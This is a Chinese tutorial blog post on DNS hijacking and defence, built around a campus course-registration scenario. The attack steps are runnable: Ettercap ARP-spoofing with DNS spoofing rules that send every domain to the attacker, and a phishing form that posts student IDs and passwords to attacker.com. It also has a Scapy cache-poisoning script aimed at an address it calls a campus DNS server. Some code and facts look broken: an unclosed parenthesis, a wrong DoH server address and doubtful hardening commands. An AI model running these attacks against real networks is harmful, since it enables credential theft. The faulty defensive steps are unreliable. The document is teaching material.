第3章 第19.2课
DNS攻防实战:互联网的"指路牌"争夺战
大家好,今天我们来拆解互联网的"导航系统"——DNS协议。想象一下你在校园网抢课时,输入"选课系统.edu.cn"却跳转到钓鱼网站的恐怖场景。这就是DNS劫持攻击的威力。我会用校园选课系统和实验室网站的真实案例,带你理解DNS如何被利用以及如何防御。(´・_・`)
一、实验环境构建:攻防沙箱配置
核心设备:
- 攻击机:Kali Linux(IP:192.168.146.4)
# 检查IP配置
ip addr show eth0
# 输出:inet 192.168.146.4/24
- 靶机:Windows 10(IP:192.168.146.5)
- 网关:192.168.146.1
关键服务搭建:
# 启动Apache伪造网站
sudo systemctl start apache2
echo "<h1>安全警告!你正在被攻击</h1>" | sudo tee /var/www/html/index.html
# 验证Web服务
curl http://localhost
# 输出:<h1>安全警告!你正在被攻击</h1>
二、攻击原理:DNS的信任链断裂
域名解析本质:
sequenceDiagram
用户->>本地DNS: 查询"选课系统.edu.cn"
本地DNS->>根DNS: 请求.edu.cn域名服务器
根DNS-->>本地DNS: 返回.cn域名服务器
本地DNS->>.cnDNS: 请求.edu.cn服务器
.cnDNS-->>本地DNS: 返回具体IP
本地DNS->>用户: 返回真实IP
劫持原理:
sequenceDiagram
攻击者->>用户: ARP欺骗(伪装网关)
用户->>攻击者: DNS查询请求
攻击者->>用户: 返回伪造IP(192.168.146.4)
用户->>攻击者: 访问伪造网站
三、实战攻击:四步劫持流程
1. 流量监听(Wireshark)
# 过滤DNS流量
wireshark -f "udp port 53" -k
2. 配置DNS劫持规则
# 创建Ettercap规则
echo -e "*.edu.cn\tA\t192.168.146.4\n*.*\tA\t192.168.146.4" | sudo tee /etc/ettercap/etter.dns
# 解释:把所有.edu.cn和任意域名解析到攻击机
3. 启动中间人攻击
sudo ettercap -T -q -i eth0 \
-P dns_spoof \# 启用DNS欺骗插件
-M arp:remote \# ARP欺骗模式
/192.168.146.5// \# 目标:Win10
/192.168.146.1//# 网关
4. 效果验证(Win10执行)
# 查询教务系统DNS
nslookup 选课系统.edu.cn
# 输出:Address: 192.168.146.4(应是真实服务器IP)
四、校园场景攻击案例
- 选课系统劫持:
- 伪造选课页面:提示"系统维护,请联系QQxxxx"
- 窃取校园账号:伪装登录页面
- 实验文档窃取:
- 劫持file.lab.edu.cn
- 部署虚假实验文档(内含木马)
- 钓鱼攻击:
<!-- 伪造奖学金通知页面 -->
<form action="http://attacker.com/steal" method="POST">
学号:<input type="text" name="student_id">
密码:<input type="password" name="password">
</form>
五、防御体系:重建DNS安全
1. 终端防护:加密DNS解析
# Windows配置DoH(DNS over HTTPS)
netsh dns add encryption server=8.8.8.5 dohtemplate=https://dns.google/dns-query
2. 网络设备防护:DNSSEC验证
! 思科路由器配置DNS安全扩展
ip dns sec enable
3. 应用层防护:强制HTTPS
# Nginx配置HSTS头(校园网站)
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
4. 主动监测:DNS异常检测
# Python检测DNS劫持
import socket
def check_dns_hijacking(domain, expected_ip):
real_ip = socket.gethostbyname(domain)
if real_ip != expected_ip:
print(f"[!] 告警:{domain} 被劫持到 {real_ip} (应为 {expected_ip})")
else:
print(f"[+] {domain} 解析正常")
# 检查选课系统
check_dns_hijacking("选课系统.edu.cn", "202.119.112.101")
六、进阶攻击:DNS缓存投毒
攻击原理:
# 伪造DNS响应包(Scapy示例)
from scapy.all import *
def dns_poison(target_ip, dns_server):
# 构造伪造响应包
spoof_pkt = IP(dst=target_ip, src=dns_server) / \
UDP(dport=53) / \
DNS(id=0xabcd, qr=1,
qd=DNSQR(qname="mail.edu.cn"),
an=DNSRR(rrname="mail.edu.cn", type="A", rdata="192.168.146.4")
send(spoof_pkt, verbose=0)
# 向校园DNS服务器投毒
dns_poison("202.119.112.100", "172.16.108.1")# 校园DNS服务器IP
防御方案:
# 配置DNS服务器防护
sudo apt install bind9 bind9-hardening
总结:DNS安全的本质
- 信任链脆弱:递归查询机制存在中间人风险
- 防御核心:
- 加密传输:DoH/DoT协议
- 来源验证:DNSSEC数字签名
- 终端防护:安全DNS配置
- 持续演进:
- 零信任架构中的DNS安全
- 基于AI的DNS异常检测
实验建议:
- 在虚拟机环境测试DNS劫持效果
- 为个人设备配置Cloudflare 1.1.1.1加密DNS
- 扫描校园网中的异常DNS响应
当你在深夜查询考试成绩时,DNS可能正在引导你走向深渊。理解这套"指路系统"的脆弱性,才能在数字世界里安全航行。(´-ι_-`)
# 快速检测DNS劫持(CMD命令)
nslookup 选课系统.edu.cn 8.8.8.8# 使用谷歌DNS查询
nslookup 选课系统.edu.cn# 使用默认DNS查询
# 对比结果是否一致
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19020866,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号